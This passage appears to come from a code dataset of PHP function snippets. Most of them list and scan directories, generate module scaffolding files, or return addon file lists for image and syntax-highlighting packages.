$controller = \"<?php\\nnamespace modules\\\\\".strtolower(self::$pathName).\"\\\\controller;\\nuse \\\\libs\\\\kernel\\\\ControllerBase as CB;\\n\\nclass Controller\".self::$pathName.\" extends CB{\\n\\n\\tpublic function index(\\$app, \\$response){\\n // resposta que vem do servidor => \\$response. \\n // url onde esta o arquivo que vai ser renderizado. \\n // argumento a serem passados para a pagina. => \\$args \\n\\n return \\$app->view->render(\\$response, \\\"/\".ucfirst(self::$pathName).\"/index.php\\\");\\n\\t}\\n}\";\n \\libs\\kernel\\File::newFile($dir.\"/controller/Controller\".self::$pathName.\".php\", $controller);\n\n //gerando o manifest json\n $manifestJson = \"{\\n\\\"dad\\\": \\\"this\\\",\\n\\\"dadsName\\\": \\\"master\\\",\\n\\\"acessLevel\\\": \\\"0\\\",\\n\\\"title\\\": \\\"\".self::$pathName.\"\\\",\\n\\\"url\\\": \".strtolower(self::$pathName).\"\\\",\\n\\\"submenu\\\": []\\n}\";\n \\libs\\kernel\\File::newFile($dir.\"/manifest.json\", $manifestJson);\n \n \n //gerando o index\n \\libs\\kernel\\File::newFile($dir.\"/index.php\", \"\");\n }", "function getFileMatrix()\r\n\t{\r\n\t\t$files = array( );\r\n\t\t$files['name'] = array();\r\n\t\t$files['size'] = array();\r\n\t\t$files['type'] = array();\r\n\t\t$files['date'] = array();\r\n\t\t$counFiles = 0;\r\n\r\n\t\tfor( $x=0; $x < $this->filesCollection->size( ); $x++ )\r\n\t\t{\r\n\t\t\tif( ( $this->filesCollection->get( $x )->getType( ) ) == 'folderFile' )\r\n\t\t\t{\r\n\t\t\t\t$files['name'][$counFiles] = $this->filesCollection->get( $x )->getName( );\r\n\t\t\t\t$files['date'][$counFiles] = date( \"d/m/Y\", $this->filesCollection->get( $x )->getDate( ) );\r\n\t\t\t\t$files['size'][$counFiles] = ' ';\r\n\t\t\t\t$files['type'][$counFiles] = $this->filesCollection->get( $x )->getType( );\r\n\t\t\t\t$counFiles++;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tfor( $x=0; $x < $this->filesCollection->size( ); $x++ )\r\n\t\t{\r\n\t\t\tif( ( $this->filesCollection->get( $x )->getType( ) ) != 'folderFile' )\r\n\t\t\t{\r\n\t\t\t\t$files['name'][$counFiles] = $this->filesCollection->get( $x )->getName( );\r\n\t\t\t\t$files['date'][$counFiles] = date( \"d/m/Y\", $this->filesCollection->get( $x )->getDate( ) );\r\n\t\t\t\t$files['size'][$counFiles] = bcdiv( $this->filesCollection->get( $x )->getSize( ), 1024, 1 ).' Kb';\r\n\t\t\t\t$files['type'][$counFiles] = $this->filesCollection->get( $x )->getType( );\r\n\t\t\t\t$counFiles++;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\treturn $files;\r\n\t}", "function readDirectory($Category, $numLow, $numHigh, $SplitThis, $TopicsPerPage) {\n\t$handle = opendir($Category);\n\t\twhile (false !== ($topics = readdir($handle))) { \n \t\t\tif ($topics != \".\" && $topics != \"..\") { \n\t\t\t\t$topicName = $Category.\"/\".$topics;\n \t\t\t\t$topicTime = filemtime($topicName);\n \t\t\t\t$topicArray[$topics] = $topicTime; \n\t\t\t}\n\t\t}\n\n\tarsort($topicArray);\n\n\t$numberOfTopics = sizeOf($topicArray);\n\n\tprint \"&numTopicsAll=$numberOfTopics&\";\n\n// The rest of this is just getting the topics ordered for each page - Basically it's set at 11/per page as default\n// You can change this in the top settings - however it's recommended to leave as is.\n// Probably a little easy way of doing this - but anways.\nif ($numberOfTopics <= $TopicsPerPage) {\n\t$Pages \t\t= 1;\n} \n\nif ($numberOfTopics > $TopicsPerPage) {\n\t$Page \t\t= ($numberOfTopics / $TopicsPerPage);\n\t$Pages \t\t= floor($Page)+1;\n}\n\n$PageNumber \t\t= $numHigh / $TopicsPerPage;\n\nif ($numberOfTopics > $numHigh) {\n\t\n\t$numDup \t= (($TopicsPerPage * $PageNumber));\n\n\t$numLDup \t= ($numLow + 1);\n} \n\nif ($numberOfTopics <= $numHigh) {\n\t$numDup \t= ($TopicsPerPage-($numHigh-$numberOfTopics));\n\t$numDup \t= (($numDup + $numLow));\n\t$numLDup \t= ($numLow + 1);\n}\n\t$Count \t\t= 1;\n\n\tforeach ($topicArray as $key => $value) {\n\n \t\t$thisTopicName \t= $key;\n \t\t$thisTopicTime \t= $value;\n \t\t$thisTopicTime \t= date(\"n/j/Y\", $thisTopicTime);\n\n\t\t$nameArray \t= split (\"_\", $thisTopicName);\n\n\t\t$TopicSubject \t= str_replace(\"-\", \" \", $nameArray[2]);\n\t\t$TopicName \t= str_replace(\"-\", \" \", $nameArray[1]);\n\t\t$TopicSubject \t= str_replace(\".txt\", \"\", $TopicSubject);\n\n \t\t$topicCreated \t= date(\"n/j/Y\", $nameArray[0]);\n\t\t$topicStartedBy = $TopicName;\n\n\t\t$fp = fopen( $Category.\"/\".$thisTopicName,\"r\"); \n\t\t$numReplysTopics = fread($fp, 80000); \n\t\tfclose( $fp );\n\n\t\t$numReplysTopicsArray \t= split ($SplitThis, $numReplysTopics);\n\t\t$numReplysLocal \t= count($numReplysTopicsArray) - 1;\n\t\t$numReplysGlobal \t= $numReplysGlobal + $numReplysLocal;\n\n\t\tprint \"&Topic$Count=$TopicSubject&lastModified$Count=$thisTopicTime&File$Count=$thisTopicName&topicCreated$Count=$topicCreated&numReplys$Count=$numReplysLocal&topicStartedBy$Count=$topicStartedBy&\";\n\t$Count = $Count + 1;\n\t\t\n\t}\n\tclosedir ($handle);\n\tprint \"&TotalPosts=$numReplysGlobal&NumLow=$numLow&NumHigh=$numHigh&Pages=$Pages&numLow=$numLow&numLDup=$numLDup&numDup=$numDup&Go=Yes&\";\n}", "function templates()\r\n\t{\r\n\t\t$websitepath = $this->website_path;\r\n\t\t$theme = $this->theme;\r\n\t\t$directory = $_SERVER['DOCUMENT_ROOT'].$websitepath.'themes/'.$theme.'';\r\n\t\tif(file_exists($directory))\r\n\t\t{\r\n\t\t\tif ($handle = opendir($_SERVER['DOCUMENT_ROOT'].$websitepath.'themes/'.$theme.'')) { \r\n\t\t\t\t$i = 0;\r\n\t\t\t\twhile (false !== ($file = readdir($handle)))\r\n\t\t\t\t{ \r\n\t\t\t\t\tif ($file != \".\" && $file != \"..\")\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif(!is_dir($_SERVER['DOCUMENT_ROOT'].$websitepath.'themes/'.$theme.''.$file.''))\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$myFile = $_SERVER['DOCUMENT_ROOT'].$websitepath.'themes/'.$theme.''.$file;\r\n\t\t\t\t\t\t\t$fh = fopen($myFile, 'r');\r\n\t\t\t\t\t\t\t$theData = fread($fh, 5000);\r\n\t\t\t\t\t\t\tfclose($fh);\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t$pos = strrpos($theData, \"{{{{{KSD Template\");\r\n\t\t\t\t\t\t\tif ($pos === false) { // note: three equal signs\r\n\t\t\t\t\t\t\t\t//die(\"Not a template.\");\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t$array1 = explode(\"}}}}}\",$theData);\r\n\t\t\t\t\t\t\t\t$array2 = explode(\"{{{{{\",$array1[0]);\r\n\t\t\t\t\t\t\t\t$data = $array2[1];\r\n\t\t\t\t\t\t\t\t$array3 = explode(\",\",$data);\r\n\t\t\t\t\t\t\t\t$filearray[$i]['file'] = $file; \r\n\t\t\t\t\t\t\t\t$filearray[$i]['name'] = $array3[1]; \r\n\t\t\t\t\t\t\t\t$i++;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}// END while\t\r\n\t\t\t\tclosedir($handle);\r\n\t\t\t} \r\n\t\t} else {\r\n\t\t\techo(\"$directory <br />NOT EXISTS\");\r\n\t\t}\r\n\t\treturn $filearray;\r\n\t}", "public function testDir_ArrayPath_Arg0PathArgExtArgTr()\n {\n $config = new Config_Dir(array(\"{$this->dir}\", 'ext'=>'yaml', 'transformer'=>'from-mock'));\n $this->checkWithTrResult($config);\n }", "function scan($dir){\n\n\t$files = array();\n\n\t// Is there actually such a folder/file?\n\n\tif(file_exists($dir)){\n\t\n\t\tforeach(scandir($dir) as $f) {\n\t\t\n\t\t\tif(!$f || $f[0] == '.') {\n\t\t\t\tcontinue; // Ignore hidden files\n\t\t\t}\n\n\t\t\tif(is_dir($dir . '/' . $f)) {\n\n\t\t\t\t// The path is a folder\n\n\t\t\t\t$files[] = array(\n\t\t\t\t\t\"name\" => $f,\n\t\t\t\t\t\"type\" => \"folder\",\n\t\t\t\t\t\"path\" => $dir . '/' . $f,\n\t\t\t\t\t\"items\" => scan($dir . '/' . $f) // Recursively get the contents of the folder\n\t\t\t\t);\n\t\t\t}\n\t\t\t\n\t\t\telse {\n\n\t\t\t\t// It is a file\n\t\t\t\t$path_info = pathinfo($f);\n\t\t\t\t//if ($path_info && $path_info.extension )\n\t\t\t\t$ext = $path_info['extension'];\n\t\t\t\tif($ext =='html'||$ext =='jpg' || $ext ==='png' || $ext == 'pdf'){\n\t\t\t\t\t$text = ($ext =='html') ?'doc':'image';\n\t\t\t\t\t$files[] = array(\n\t\t\t\t\t\t\"name\" => $f,\n\t\t\t\t\t\t\"type\" => \"file\",\n\t\t\t\t\t\t\"text\" => $text,\n\t\t\t\t\t\t\"path\" => $dir . '/' . $f,\n\t\t\t\t\t\t\"size\" => filesize($dir . '/' . $f) // Gets the size of this file\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\n\t}\n\n\treturn $files;\n}", "private function compileZFileList($dir)\n {\n $dir_contents = scandir($dir);\n foreach ($dir_contents as $item) {\n $item_location = $dir . DIRECTORY_SEPARATOR . $item;\n if (is_dir($item_location) && $item !== '.' && $item !== '..') {\n $this->compileZFileList($item_location);\n } else if (strpos($item, '.z') !== FALSE && strpos($item, '.uncompressed_size') === FALSE && strpos($item_location, 'WindowsNoEditor') !== FALSE) {\n $this->z_file_list[] = $item_location;\n } else if (strpos($item, '.uncompressed_size') !== FALSE) {\n Errorhandler::call('unlink', $item_location);\n }\n }\n }", "function list_dir($path) {\n\tglobal $gmz_files, $gmz_directories, $extensions, $ignore_files, $ignore_ext, $ignore_folders, $directories_before_current_path, $current_directory_path;\n if ($handle = @opendir($path)) { \n while (false !== ($filename = readdir($handle))) { \n if ($filename != '.' && $filename != '..') {\n if (is_file($path.'/'.$filename) && !in_array($directories_before_current_path.$current_directory_path.$filename, $ignore_files)) {\n\t\t\t\t\t$file_ext = explode('.', $filename);\n\t\t\t\t\t$file_ext = $file_ext[sizeof($file_ext)-1];\n\t\t\t\t\t$file_ext = strtolower($file_ext);\n\t\t\t\t\tif(!in_array($file_ext, $ignore_ext)) {\n\t\t\t\t\t\t$gmz_files[] = array('name' => $filename, 'ext' => $file_ext, 'type' => $extensions[$file_ext][0], 'size' => sprintf(\"%u\", filesize($path.'/'.$filename)), 'date' => filemtime($path.'/'.$filename));\n\t\t\t\t\t}\n } \n if (is_dir($path.'/'.$filename) && !in_array($directories_before_current_path.$current_directory_path.$filename, $ignore_folders)) {\n\t\t\t\t\t$gmz_directories[] = array('name' => $filename, 'size' => dir_size($path.'/'.$filename), 'date' => filemtime($path.'/'.$filename));\n } \n } \n } \n closedir($handle); \n } else {\n\t\tdisplay_error('Invalid Directory');\n\t}\n}", "protected function getBasicFiles(): array\n {\n $array = [\n $this->folderPaths['logs'] . DIRECTORY_SEPARATOR . '.gitignore' => \"!.gitignore\\n\",\n $this->folderPaths['framework'] . DIRECTORY_SEPARATOR . '.gitignore' => 'down' . \"\\n\",\n $this->folderPaths['tests'] . DIRECTORY_SEPARATOR . 'AbstractTestCase.php' => $this->generateAbstractTestCaseClass(),\n $this->folderPaths['tests'] . DIRECTORY_SEPARATOR . 'bootstrap.php' => $this->generateBootstrapFile(),\n ];\n\n if (! self::$isTest) {\n $array['phpunit.xml'] = $this->getPhpunitXml();\n }\n\n return $array;\n }", "function getPathPhpFiles($absRoot,$urlRoot,$fullPath) {\n\t$directory = $absRoot.$urlRoot.$fullPath;\n\t//bold ($directory);\n\t$pages = glob($directory . \"*.php\");\n\n\tforeach ($pages as $page){\n\t\t$fixed = str_replace($absRoot.$urlRoot,'',$page);\n\t\t$row[$fixed] = $fixed;\n\t}\n\treturn $row;\n}", "function listFolderFiles($dir, $updir = \"\", $array = array()){\n $ffs = scandir($dir);\n foreach($ffs as $ff){\n if($ff != '.' && $ff != '..' ){\n if(count(explode(\".\", $ff))!=1){\n $array[]=$updir.explode(\".\", $ff)[0];\n }\n else {\n $array = listFolderFiles($dir.\"/\".$ff, $updir .$ff.\"/\", $array);\n }\n }\n }\n return $array;\n}", "private function nodeArray(DirectoryIterator $dir){\n $data = array();\n foreach($dir as $node){\n if($node->isDir() && !$node->isDot() && $this->isActiveDirectory($node->getPathname()))\n $data[$node->getFilename()] = $this->nodeArray(new DirectoryIterator($node->getPathname()));\n elseif($node->isFile() && $this->isNotHiddenFile($node->getFilename()))\n $data[] = $node->getPathname();\n }\n return $data;\n }", "function file_finder($path)\n{\n global $totalcount;\n $files = scandir($path);\n $files = (array_values(preg_grep(\"/\\d*?_\\d*?_\\d*?_\\d*?\\.mp4$/\", $files)));\n $totalcount += count($files);\n sort($files);\n $fileArray = playlist_splitter($files);\n return $fileArray;\n}", "function ft_hook_dirlist() {}", "public function gatherFileData()\n {\n $files = get_included_files();\n\n $fileList = array();\n\n $fileTotals = array(\n \"count\" => count($files),\n \"size\" => 0,\n \"largest\" => 0,\n );\n\n foreach($files as $key => $file) {\n $size = filesize($file);\n\n $fileList[] = array(\n 'name' => str_replace(BASEPATH, '/', $file),\n 'size' => $this->getReadableFileSize($size)\n );\n\n $fileTotals['size'] += $size;\n\n if($size > $fileTotals['largest']) $fileTotals['largest'] = $size;\n }\n\n $fileTotals['size'] = $this->getReadableFileSize($fileTotals['size']);\n $fileTotals['largest'] = $this->getReadableFileSize($fileTotals['largest']);\n\n $this->output['files'] = $fileList;\n $this->output['fileTotals'] = $fileTotals;\n }", "function thescandir($dir, $level){\n\t$is_dir = true;\n\t\n\tif( !($files = @scandir($dir)) ) // s'il y a une erreur au scandir c'est que c'est un fichier.\n\t{\n\t\t$basename = pathinfo($dir,PATHINFO_BASENAME);\n\t\t$is_dir = false;\n\t\t\n\t\t// si c'est bien un fichier PHP\n\t\tif( substr(strtolower(strrchr(basename($basename), \".\")), 1) == 'php' ){\n\t\t\t// On ajoute le fichier au listing\n\t\t\t$offset = count( $_SESSION['Listing_Fichiers'] );\n\t\t\t$_SESSION['Listing_Fichiers'][$offset] = $dir;//$basename;\n\t\t\t//echo \"base : \".$basename.\" | dir : \".$dir.\"<br/>\";\n\t\t}\n\t}\n\telse\n\t{\n\t\tif($dir != \".\" and $dir != \"..\" )\n\t\t{\n\n\t\t}\n\t\t$is_dir = true;\n\t\t$level ++;\n\t}\n\t\n\tif($dir != \".\" and $dir != \"..\" )\n\t{\n\t\t$extension = pathinfo($dir,PATHINFO_EXTENSION);\n\t\t$basename = pathinfo($dir,PATHINFO_BASENAME);\n\t\t\n\t}\n\t\n\t// recursivité\n\t$i=0;\n\twhile( @$files[$i] )\n\t{\n\t\tif($files[$i] != \".\" and $files[$i] != \"..\")\n\t\t{\t\t\t\t\n\t\t\t$newdir = $dir.\"/\".$files[$i];//concatène les noms de dossiers\n\t\t\t\t\n\t\t\tif($dir == \".\")\n\t\t\t\t$newdir = $files[$i];\n\t\t\t\t\n\t\t\tthescandir($newdir, $level); \n\t\t}\n\t\t\n\t\t$i++;\n\t}\n\n\t\n}", "function getList($dir, $arr = []){\n $d = dir($dir);\n while (false !== ($entry = $d->read())) {\n if($entry === \".\" || $entry === \"..\"){\n continue;\n }\n if(is_dir($dir.\"/\".$entry)){\n $arr = getList($dir.\"/\".$entry,$arr);\n }else{\n $arr[] = [$dir,explode(\".\",$entry)[0]];\n }\n }\n $d->close();\n\n return $arr;\n}", "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/purrrr.php',\n 'data_custom/images/lolcats/index.html',\n 'data_custom/images/lolcats/thumbs/index.html',\n 'data_custom/images/lolcats/funny-pictures-basement-cat-has-pink-sheets.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-ai-calld-jenny-craig.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-asks-you-for-a-favor.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-asks-you-to-pay-fine.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-can-poop-rainbows.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-comes-to-save-day.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-decides-what-to-do.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-does-math.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-does-not-see-your-point.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-eyes-steak.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-has-a-beatle.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-has-a-close-encounter.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-has-had-fun.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-has-trophy-wife.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-hates-your-tablecloth.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-is-a-doctor.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-is-a-hoarder.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-is-a-people-lady.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-is-on-steroids.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-is-stuck-in-drawer.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-is-very-comfortable.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-kermit-was-about.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-looks-like-a-vase.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-looks-like-boots.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-ok-captain-obvious.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-pounces-on-deer.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-sits-in-box.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-sits-on-your-laptop.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-special-delivery.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-winks-at-you.jpg',\n 'data_custom/images/lolcats/funny-pictures-cats-are-in-a-musical.jpg',\n 'data_custom/images/lolcats/funny-pictures-cats-have-war.jpg',\n 'data_custom/images/lolcats/funny-pictures-fish-and-cat-judge-your-outfit.jpg',\n 'data_custom/images/lolcats/funny-pictures-kitten-drops-a-nickel-under-couch.jpg',\n 'data_custom/images/lolcats/funny-pictures-kitten-ends-meeting2.jpg',\n 'data_custom/images/lolcats/funny-pictures-kitten-fixes-puppy.jpg',\n 'data_custom/images/lolcats/funny-pictures-kitten-tries-to-stay-neutral.jpg',\n 'data_custom/images/lolcats/funny-pictures-kittens-dispose-of-boyfriend.jpg',\n 'data_custom/images/lolcats/funny-pictures-kittens-yell-at-eachother.jpg',\n 'data_custom/images/lolcats/ridiculous_poses_moddles.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-basement-cat-has-pink-sheets.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-ai-calld-jenny-craig.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-asks-you-for-a-favor.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-asks-you-to-pay-fine.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-can-poop-rainbows.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-comes-to-save-day.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-decides-what-to-do.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-does-math.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-does-not-see-your-point.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-eyes-steak.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-has-a-beatle.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-has-a-close-encounter.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-has-had-fun.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-has-trophy-wife.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-hates-your-tablecloth.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-is-a-doctor.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-is-a-hoarder.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-is-a-people-lady.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-is-on-steroids.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-is-stuck-in-drawer.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-is-very-comfortable.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-kermit-was-about.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-looks-like-a-vase.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-looks-like-boots.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-ok-captain-obvious.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-pounces-on-deer.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-sits-in-box.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-sits-on-your-laptop.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-special-delivery.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-winks-at-you.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cats-are-in-a-musical.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cats-have-war.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-fish-and-cat-judge-your-outfit.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-kitten-drops-a-nickel-under-couch.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-kitten-ends-meeting2.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-kitten-fixes-puppy.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-kitten-tries-to-stay-neutral.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-kittens-dispose-of-boyfriend.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-kittens-yell-at-eachother.jpg',\n 'data_custom/images/lolcats/thumbs/ridiculous_poses_moddles.jpg',\n );\n }", "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/geshi.php',\n 'sources_custom/geshi/.htaccess',\n 'sources_custom/geshi/index.html',\n 'sources_custom/geshi/4cs.php',\n 'sources_custom/geshi/abap.php',\n 'sources_custom/geshi/actionscript.php',\n 'sources_custom/geshi/actionscript3.php',\n 'sources_custom/geshi/ada.php',\n 'sources_custom/geshi/apache.php',\n 'sources_custom/geshi/applescript.php',\n 'sources_custom/geshi/apt_sources.php',\n 'sources_custom/geshi/asm.php',\n 'sources_custom/geshi/asp.php',\n 'sources_custom/geshi/autohotkey.php',\n 'sources_custom/geshi/autoit.php',\n 'sources_custom/geshi/avisynth.php',\n 'sources_custom/geshi/awk.php',\n 'sources_custom/geshi/bash.php',\n 'sources_custom/geshi/basic4gl.php',\n 'sources_custom/geshi/bf.php',\n 'sources_custom/geshi/bibtex.php',\n 'sources_custom/geshi/blitzbasic.php',\n 'sources_custom/geshi/bnf.php',\n 'sources_custom/geshi/boo.php',\n 'sources_custom/geshi/c.php',\n 'sources_custom/geshi/c_mac.php',\n 'sources_custom/geshi/caddcl.php',\n 'sources_custom/geshi/cadlisp.php',\n 'sources_custom/geshi/cfdg.php',\n 'sources_custom/geshi/cfm.php',\n 'sources_custom/geshi/cil.php',\n 'sources_custom/geshi/clojure.php',\n 'sources_custom/geshi/cmake.php',\n 'sources_custom/geshi/cobol.php',\n 'sources_custom/geshi/cpp-qt.php',\n 'sources_custom/geshi/cpp.php',\n 'sources_custom/geshi/csharp.php',\n 'sources_custom/geshi/css.php',\n 'sources_custom/geshi/cuesheet.php',\n 'sources_custom/geshi/d.php',\n 'sources_custom/geshi/dcs.php',\n 'sources_custom/geshi/delphi.php',\n 'sources_custom/geshi/diff.php',\n 'sources_custom/geshi/div.php',\n 'sources_custom/geshi/dos.php',\n 'sources_custom/geshi/dot.php',\n 'sources_custom/geshi/eiffel.php',\n 'sources_custom/geshi/email.php',\n 'sources_custom/geshi/erlang.php',\n 'sources_custom/geshi/fo.php',\n 'sources_custom/geshi/fortran.php',\n 'sources_custom/geshi/freebasic.php',\n 'sources_custom/geshi/fsharp.php',\n 'sources_custom/geshi/gambas.php',\n 'sources_custom/geshi/gdb.php',\n 'sources_custom/geshi/genero.php',\n 'sources_custom/geshi/gettext.php',\n 'sources_custom/geshi/glsl.php',\n 'sources_custom/geshi/gml.php',\n 'sources_custom/geshi/gnuplot.php',\n 'sources_custom/geshi/groovy.php',\n 'sources_custom/geshi/haskell.php',\n 'sources_custom/geshi/hq9plus.php',\n 'sources_custom/geshi/html4strict.php',\n 'sources_custom/geshi/idl.php',\n 'sources_custom/geshi/ini.php',\n 'sources_custom/geshi/inno.php',\n 'sources_custom/geshi/intercal.php',\n 'sources_custom/geshi/io.php',\n 'sources_custom/geshi/java.php',\n 'sources_custom/geshi/java5.php',\n 'sources_custom/geshi/javascript.php',\n 'sources_custom/geshi/jquery.php',\n 'sources_custom/geshi/kixtart.php',\n 'sources_custom/geshi/klonec.php',\n 'sources_custom/geshi/klonecpp.php',\n 'sources_custom/geshi/latex.php',\n 'sources_custom/geshi/lisp.php',\n 'sources_custom/geshi/locobasic.php',\n 'sources_custom/geshi/logtalk.php',\n 'sources_custom/geshi/lolcode.php',\n 'sources_custom/geshi/lotusformulas.php',\n 'sources_custom/geshi/lotusscript.php',\n 'sources_custom/geshi/lscript.php',\n 'sources_custom/geshi/lsl2.php',\n 'sources_custom/geshi/lua.php',\n 'sources_custom/geshi/m68k.php',\n 'sources_custom/geshi/make.php',\n 'sources_custom/geshi/mapbasic.php',\n 'sources_custom/geshi/matlab.php',\n 'sources_custom/geshi/mirc.php',\n 'sources_custom/geshi/mmix.php',\n 'sources_custom/geshi/modula3.php',\n 'sources_custom/geshi/mpasm.php',\n 'sources_custom/geshi/mxml.php',\n 'sources_custom/geshi/mysql.php',\n 'sources_custom/geshi/newlisp.php',\n 'sources_custom/geshi/nsis.php',\n 'sources_custom/geshi/oberon2.php',\n 'sources_custom/geshi/objc.php',\n 'sources_custom/geshi/ocaml-brief.php',\n 'sources_custom/geshi/ocaml.php',\n 'sources_custom/geshi/oobas.php',\n 'sources_custom/geshi/oracle11.php',\n 'sources_custom/geshi/oracle8.php',\n 'sources_custom/geshi/pascal.php',\n 'sources_custom/geshi/per.php',\n 'sources_custom/geshi/perl.php',\n 'sources_custom/geshi/perl6.php',\n 'sources_custom/geshi/php-brief.php',\n 'sources_custom/geshi/php.php',\n 'sources_custom/geshi/pic16.php',\n 'sources_custom/geshi/pike.php',\n 'sources_custom/geshi/pixelbender.php',\n 'sources_custom/geshi/plsql.php',\n 'sources_custom/geshi/povray.php',\n 'sources_custom/geshi/powerbuilder.php',\n 'sources_custom/geshi/powershell.php',\n 'sources_custom/geshi/progress.php',\n 'sources_custom/geshi/prolog.php',\n 'sources_custom/geshi/properties.php',\n 'sources_custom/geshi/providex.php',\n 'sources_custom/geshi/purebasic.php',\n 'sources_custom/geshi/python.php',\n 'sources_custom/geshi/qbasic.php',\n 'sources_custom/geshi/rails.php',\n 'sources_custom/geshi/rebol.php',\n 'sources_custom/geshi/reg.php',\n 'sources_custom/geshi/robots.php',\n 'sources_custom/geshi/rsplus.php',\n 'sources_custom/geshi/ruby.php',\n 'sources_custom/geshi/sas.php',\n 'sources_custom/geshi/scala.php',\n 'sources_custom/geshi/scheme.php',\n 'sources_custom/geshi/scilab.php',\n 'sources_custom/geshi/sdlbasic.php',\n 'sources_custom/geshi/smalltalk.php',\n 'sources_custom/geshi/smarty.php',\n 'sources_custom/geshi/sql.php',\n 'sources_custom/geshi/systemverilog.php',\n 'sources_custom/geshi/tcl.php',\n 'sources_custom/geshi/teraterm.php',\n 'sources_custom/geshi/text.php',\n 'sources_custom/geshi/thinbasic.php',\n 'sources_custom/geshi/tsql.php',\n 'sources_custom/geshi/typoscript.php',\n 'sources_custom/geshi/vb.php',\n 'sources_custom/geshi/vbnet.php',\n 'sources_custom/geshi/verilog.php',\n 'sources_custom/geshi/vhdl.php',\n 'sources_custom/geshi/vim.php',\n 'sources_custom/geshi/visualfoxpro.php',\n 'sources_custom/geshi/visualprolog.php',\n 'sources_custom/geshi/whitespace.php',\n 'sources_custom/geshi/whois.php',\n 'sources_custom/geshi/winbatch.php',\n 'sources_custom/geshi/xml.php',\n 'sources_custom/geshi/xorg_conf.php',\n 'sources_custom/geshi/xpp.php',\n 'sources_custom/geshi/z80.php',\n 'sources_custom/geshi.php',\n 'sources_custom/geshi/.gitignore',\n 'sources_custom/geshi/6502acme.php',\n 'sources_custom/geshi/6502kickass.php',\n 'sources_custom/geshi/6502tasm.php',\n 'sources_custom/geshi/68000devpac.php',\n 'sources_custom/geshi/aimms.php',\n 'sources_custom/geshi/algol68.php',\n 'sources_custom/geshi/arm.php',\n 'sources_custom/geshi/asymptote.php',\n 'sources_custom/geshi/autoconf.php',\n 